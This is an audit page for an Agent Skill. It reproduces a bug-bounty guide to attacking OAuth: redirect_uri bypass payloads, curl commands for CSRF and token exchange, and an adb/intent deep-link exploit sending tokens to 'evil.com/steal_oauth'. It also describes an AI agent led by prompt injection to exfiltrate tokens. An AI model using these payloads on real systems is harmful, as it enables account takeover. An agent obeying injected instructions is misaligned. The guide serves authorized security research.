hunt-oauth — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited hunt-oauth (Agent Skill) and scored it 100/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 0 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
OAuth vulnerabilities are among the highest-value bug classes in web security because they directly enable account takeover, session theft, and authentication bypass — the trifecta that programs pay most for.
Highest-value targets:
Asset types that pay most:
/oauth/authorize, /connect/authorize)/oauth/token)push_notification_webview, custom scheme URIs)/auth/callback, /oauth/callback)Typical payouts: $500–$20,000+ depending on program; account takeover findings often hit max bounty.
/oauth/authorize
/oauth/token
/connect/authorize
/auth/callback
/oauth/callback
/login?redirect_uri=
/signin?next=
/auth?return_to=
/oauth/redirect
/push_notification_webviewLocation: https://accounts.example.com/oauth/...
Set-Cookie: oauth_state=
WWW-Authenticate: Bearer
Content-Type: application/json (with access_token in body)redirect_uri
client_id
response_type=code
response_type=token
state=
nonce=
oauth_token
access_token
push_notification_webview
deeplink
intent://intent-filter in AndroidManifest.xml handling http:// or custom scheme URIs.well-known/openid-configuration present = full OIDC surface available/oauth, /connect, /auth, /login paths.well-known/openid-configuration and .well-known/oauth-authorization-serverapktool d app.apk and grep for redirect_uri, intent://, deep link schemesclient_id, redirect_uri, state, nonce, response_typeredirect_uri=https://legit.com.evil.comredirect_uri=https://legit.com/callback/../../../evilredirect_uri=https://legit.com&redirect_uri=https://evil.com%2F, %40, %23 to confuse parsersstate entirely — does the flow complete?state value across sessionsstate is validated server-side or only client-side/oauth/token directly?Referer headerpush_notification_webview patterns that accept arbitrary URLsclient_secret appears in JS bundles or APK resourcesredirect_uri values when combined with leaked client_id/client_secret# Host confusion
https://evil.com#legit.com
https://legit.com.evil.com
https://[email protected]
# Path traversal
https://legit.com/oauth/callback/../../redirect?url=https://evil.com
# Open redirect chain (find open redirect on legit domain first)
https://legit.com/logout?next=https://evil.com
# Parameter pollution
?redirect_uri=https://legit.com/cb&redirect_uri=https://evil.com/cb
# URL encoded slashes
https://legit.com%[email protected]
https://legit.com%252F..%252F..evil.com# Step 1: Initiate OAuth flow, capture state value
# Step 2: Drop request, use attacker account's link with victim's session
curl -v "https://target.com/oauth/authorize?client_id=APP&redirect_uri=https://target.com/cb&response_type=code&state=FIXED_VALUE"
# Step 3: Force victim to visit callback with attacker's code + fixed state
https://target.com/oauth/callback?code=ATTACKER_CODE&state=FIXED_VALUE# After OAuth callback landing page, check outbound requests
# Look for Referer header containing access_token or code
curl -v "https://target.com/auth/callback?code=ABC&state=XYZ" \
-H "Referer: https://evil.com" \
--max-redirs 0
# Grep JS for outbound calls made on callback page
grep -r "fetch\|XMLHttpRequest\|img.src\|script.src" callback_page.html# ADB exploit for push_notification_webview deeplink
adb shell am start -a android.intent.action.VIEW \
-d "target-app://push_notification_webview?url=https://evil.com/steal_oauth"
# Craft intent URI for web-based exploit
<a href="intent://push_notification_webview?url=https://evil.com#Intent;scheme=target-app;package=com.target.app;end">Click</a># Test unauthenticated token exchange (skip email verification)
curl -X POST https://target.com/oauth/token \
-d "grant_type=authorization_code" \
-d "code=CAPTURED_CODE" \
-d "client_id=CLIENT_ID" \
-d "redirect_uri=https://legit.com/callback"
# Test with unverified account credentials
curl -X POST https://target.com/oauth/token \
-d "grant_type=password" \
-d "[email protected]" \
-d "password=password123" \
-d "client_id=CLIENT_ID"# In APK/JS files
grep -r "redirect_uri\|client_secret\|oauth_token\|access_token\|push_notification" .
grep -r "intent://\|deeplink\|scheme://" .
# In Burp history
# Filter: URL contains "oauth" OR "token" OR "callback"
# Filter: Response contains "access_token" OR "code=" in Location header
# Check .well-known
curl https://target.com/.well-known/openid-configuration | python3 -m json.toolstartsWith) rather than exact match, or whitelist an entire domain instead of specific paths. A sub-path open redirect on the same domain then becomes a full token theft primitive.Referer header.https://*.example.com/*) or don't restrict them at all during development and forget to lock down for production.redirect_uri whitelistBypass: Find an open redirect on the whitelisted domain itself, then use that URL as the redirect_uri. The OAuth server validates the registered domain ✓, but the open redirect bounces the code/token to attacker.
redirect_uri=https://legit.com/logout?next=https://evil.comstate parameter requiredBypass: Check if state is validated for length/format but not binding to session. Use a fixed predictable state value. Also check if PKCE is enforced — if not, the state check alone is insufficient for code injection.
response_type=token)Bypass: Fragment isn't sent in Referer by browsers, but JavaScript on the callback page may read window.location.hash and pass it to analytics or postMessage to a parent frame. Intercept postMessage handlers.
Bypass: Try URL encoding (https%3A//evil.com), double encoding, Unicode normalization, or null bytes to confuse the validator while the underlying webview still navigates correctly.
Bypass: Referrer leakage and open redirects work even with short-lived codes if the attacker has a fast receiver. For CSRF, the victim completes the flow so timing is less critical.
Bypass: Check if PKCE is required for all clients or only specific ones. Legacy clients or mobile apps may be exempt. Test with code_challenge omitted — if the server still issues tokens, PKCE isn't enforced.
Bypass: Check if nonce is validated client-side in JavaScript only. Intercept and modify the ID token's nonce claim if the signature isn't verified (rare but seen in misconfigured implementations). Also test if nonce is validated on initial request but not on token refresh.
Before writing the report, answer all three:
1. What can the attacker DO right now? Be specific: "I can send victim a crafted URL → victim clicks → their OAuth code redirects to my server → I exchange code for access token → I am now logged in as victim." If you can't complete this full chain, it may be informational only.
2. What does the victim LOSE? Minimum bar: victim loses authenticated session (account access). Higher bars: victim loses linked accounts, payment methods, private data. If the attacker only learns the victim's identity without gaining access, severity drops significantly.
3. Can it be reproduced in 10 minutes from scratch? Open a fresh browser/device with no prior state. If you can walk from "unauthenticated" to "authenticated as victim" in 10 minutes using only your written steps, the bug is real and reportable. If it requires lucky timing, specific victim behavior beyond "click a link," or network position, document those dependencies explicitly.
An attacker discovers that the Android app's push notification handler accepts an arbitrary url parameter in its deep link scheme without validating the host. The attacker crafts a malicious URL using the app's custom scheme pointing to their own server. When sent to a victim (via social engineering or a compromised push notification channel), the app opens a WebView navigating to the attacker's server — which then initiates an OAuth flow and captures the OAuth token as it's returned to the "callback" now under attacker control. Result: full account takeover on a payments platform affecting millions of users. Business impact: unauthorized fund transfers, exposure of linked payment methods and transaction history.
A developer creates an account with an unverified email address. Normally the platform blocks full access until email is verified. However, the /oauth/token endpoint performs no verification status check — it only validates credentials. The attacker calls /oauth/token directly with valid (unverified) credentials and receives a fully-scoped OAuth token. This token passes all downstream authorization checks. Result: complete authentication bypass, allowing unverified/disposable email accounts to gain full platform access, undermining the email verification security control entirely. At scale on a platform like GitLab, this affects CI/CD pipeline access, repository access, and API usage.
The OAuth callback page for Facebook login lands users at a URL containing the access_token in the query string. The page includes a language-switcher widget that makes a GET request to change locale preferences. This GET request includes the full page URL as a Referer header — containing the Facebook access token. An attacker who can read server logs (or who compromises the language-change endpoint, or who is a malicious advertiser with pixel access) harvests Facebook OAuth tokens from Referer logs. Result: the attacker can authenticate to the victim's Facebook account and any other service accepting that Facebook token, constituting a cross-platform account takeover. Business impact: GDPR/privacy violation, cross-service account compromise, potential regulatory liability.
A server-side prefix-match flaw on redirect_uri is necessary but not sufficient to land the OAuth code on the attacker. The server check passing is one gate; the browser actually navigating cross-origin is another. They behave differently. Always confirm both before writing the finding as a chain → ATO.
Server redirect_uri validator | Attack URL | Server startswith() | Browser actual host | Exploit? |
|---|---|---|---|---|
prefix = https://acme.example (no slash) | https://[email protected]/cb | passes | evil.com (per WHATWG URL parsing — @ is the userinfo delimiter, BEFORE the first / after ://) | YES |
prefix = https://acme.example/ (trailing slash) | https://acme.example/@evil.com/cb | passes | acme.example (the @ is now AFTER the first /, so WHATWG parses it as a path character) | NO — browser stays on acme.example |
prefix = https://acme.example (substring match) | https://acme.example.evil.com/cb | passes | acme.example.evil.com (subdomain extension — the .evil.com extends the host) | YES |
prefix = https://acme.example/ (trailing slash, server normalizes ..) | https://acme.example/../../@evil.com/cb | passes raw startswith | acme.example (server normalizes path; even if it didn't, browser path-normalizes too) | usually NO |
prefix = https://acme.example/ (Chromium-specific) | https://acme.example/\@evil.com/cb | passes | host depends — Chromium converts \ to / so this becomes https://acme.example//@evil.com/cb and stays on acme.example | usually NO |
Operational rule: the WHATWG URL parser (used by all modern browsers since 2018) does userinfo parsing ONLY in the authority section — i.e., before the first `/` after `://`. Once the path begins, @ is just a character. Server-side string-startswith checks don't model this — they pass URLs the browser will then route to the legitimate host.
Always headless-test (Playwright / Puppeteer / a real browser) the final navigation BEFORE writing the OAuth finding as ATO-chain. Server-side accept + browser-side stay-on-legitimate-host = not ATO. Verified live in docs/verification/phase3-playwright-browser-execution.md Test 29.
redirect_uri validator accepts any *.target.com subdomain + recon reveals dev-staging.target.com CNAMEs to a deprovisioned Heroku/S3/Azure app → claim the dangling subdomain → host an OAuth callback receiver there → craft /oauth/authorize?redirect_uri=https://dev-staging.target.com/cb → victim clicks → auth code lands on attacker-claimed subdomain → exchange for token → ATO. The redirect_uri whitelist passed because the subdomain is "legitimately" under target.com control.state parameter absent or not session-bound + victim is already logged into target.com + attacker initiates OAuth flow from their own account, captures code before exchange + crafts callback URL with attacker's code → forces victim to visit → victim's target.com session is now linked to attacker's Google/Facebook identity → attacker logs in via Google → owns victim's account.redirect_uri from indirect prompt-injection in a document → model crafts OAuth authorize URL with attacker callback → user clicks "approve" thinking it's the agent's own flow → tokens exfiltrated via tool-use to attacker domain.NameID to admin user → SP issues OAuth token bearing admin identity → OAuth-scoped APIs grant admin access.redirect_uri Bypass Table (host-confusion [email protected], legit.com.evil.com, path-traversal, parameter pollution, encoded-slash %2F, fragment-injection #legit.com) and the open-redirect chain catalog when exact-match validation forces you to find an open-redirect on the whitelisted domain first.state param, or the callback page doesn't include credentials in URL). State-only leakage is Low; token/code leakage with successful exchange demonstration is Critical. The exchange-the-code step is non-negotiable.~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.